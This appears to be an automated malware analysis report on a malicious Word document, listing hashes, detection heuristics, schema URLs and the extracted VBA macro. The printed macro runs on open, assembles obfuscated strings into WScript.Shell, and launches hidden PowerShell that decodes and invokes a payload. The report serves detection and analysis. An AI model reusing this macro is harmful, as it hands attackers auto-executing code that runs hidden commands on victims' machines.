Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3556f8a8c91fe9d2…

MALICIOUS

Office (OOXML)

23.8 KB Created: 2020-11-30 08:51:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-12-25
MD5: dacf35f4d908dce5879dfdc6f8c9cf8b SHA-1: 3434f7fba93c017c94458077ba58a20ab5b3d3c6 SHA-256: 3556f8a8c91fe9d2cc99bb47a0ae8965518c078c4c8d6b2c226c123bd85e5378
110 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set UarJAMdFcCcYO = VBA.CreateObject(rEgGYvuPblXklbH)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2029 bytes
SHA-256: c7da7f1b61493dc0449fc43e4f7acf5983bb5db94385d4fcfac1297b8f070918
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Inwza007
End Sub


Sub Inwza007()


Dim aokowdwd
aokowdwd = "[St"
Dim osdkoskd
osdkoskd = aokowdwd + "rin"
Dim okeokfvvuvu
okeokfvvuvu = osdkoskd + "G]::JO"
Dim idfidf
idfidf = "1234"

Dim urfjfrjurfjurf
Dim okvokdvdwedwdwd
Dim uvcnscaw
uvcnscaw = idfidf + "{([conv"
okvokdvdwedwdwd = "Nt16(( $_.tOsT"
urfjfrjurfjurf = uvcnscaw & "ERT]::tOi" & okvokdvdwedwdwd & "RiNg() ) , 16)-AS [c"

Dim vhfdshvdhfvfdv
Dim sdvsdvsdv
sdvsdvsdv = "E-eXPRE"
vhfdshvdhfvfdv = urfjfrjurfjurf + "Har]) }) ) | InVoK" & sdvsdvsdv & "SSion"

Dim sIEYeiVa
sIEYeiVa = vhfdshvdhfvfdv

Dim HyWLuuZbXjFgYd
Dim ksjhfdkjsf
ksjhfdkjsf = "ll"
Dim dhvjufhjv
dhvjufhjv = "e"
Dim ijsfeijesifjsef
ijsfeijesifjsef = "Sh"

HyWLuuZbXjFgYd = ijsfeijesifjsef & dhvjufhjv & ksjhfdkjsf
Dim pFWLbkUpCYIN
Dim asdfasdfefeffe
asdfasdfefeffe = "ript"
Dim lkjsivirirvsf
lkjsivirirvsf = "W"
Dim ksefokseofksoefksef
ksefokseofksoefksef = "Sc"

pFWLbkUpCYIN = lkjsivirirvsf & ksefokseofksoefksef & asdfasdfefeffe
Dim rEgGYvuPblXklbH
rEgGYvuPblXklbH = pFWLbkUpCYIN & "." & HyWLuuZbXjFgYd
Dim UarJAMdFcCcYO
Dim olMqRNXni
Set UarJAMdFcCcYO = VBA.CreateObject(rEgGYvuPblXklbH)
Dim waitOnReturn As Boolean: waitOnReturn = False
Dim windowStyle As Integer: windowStyle = 0
Dim YTTKjUojnAqS

Dim lkamwdlkamwd
Dim ljrdlijrdlj
Dim oskefoskefoskefoskef
oskefoskefoskefoskef = "rsh"
Dim ljsaldkjesalkdjsaef
ljsaldkjesalkdjsaef = "xe"
ljrdlijrdlj = "ell.e"
lkamwdlkamwd = "powe"


YTTKjUojnAqS = lkamwdlkamwd & oskefoskefoskefoskef & ljrdlijrdlj & ljsaldkjesalkdjsaef & " " & "-c" & " "
UarJAMdFcCcYO.Run YTTKjUojnAqS & """" & sIEYeiVa & """", windowStyle, waitOnReturn
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 33280 bytes
SHA-256: 990466a270ee5117b97cde97bf65d95139e362311c986a1d9af1dd54fa4796a8

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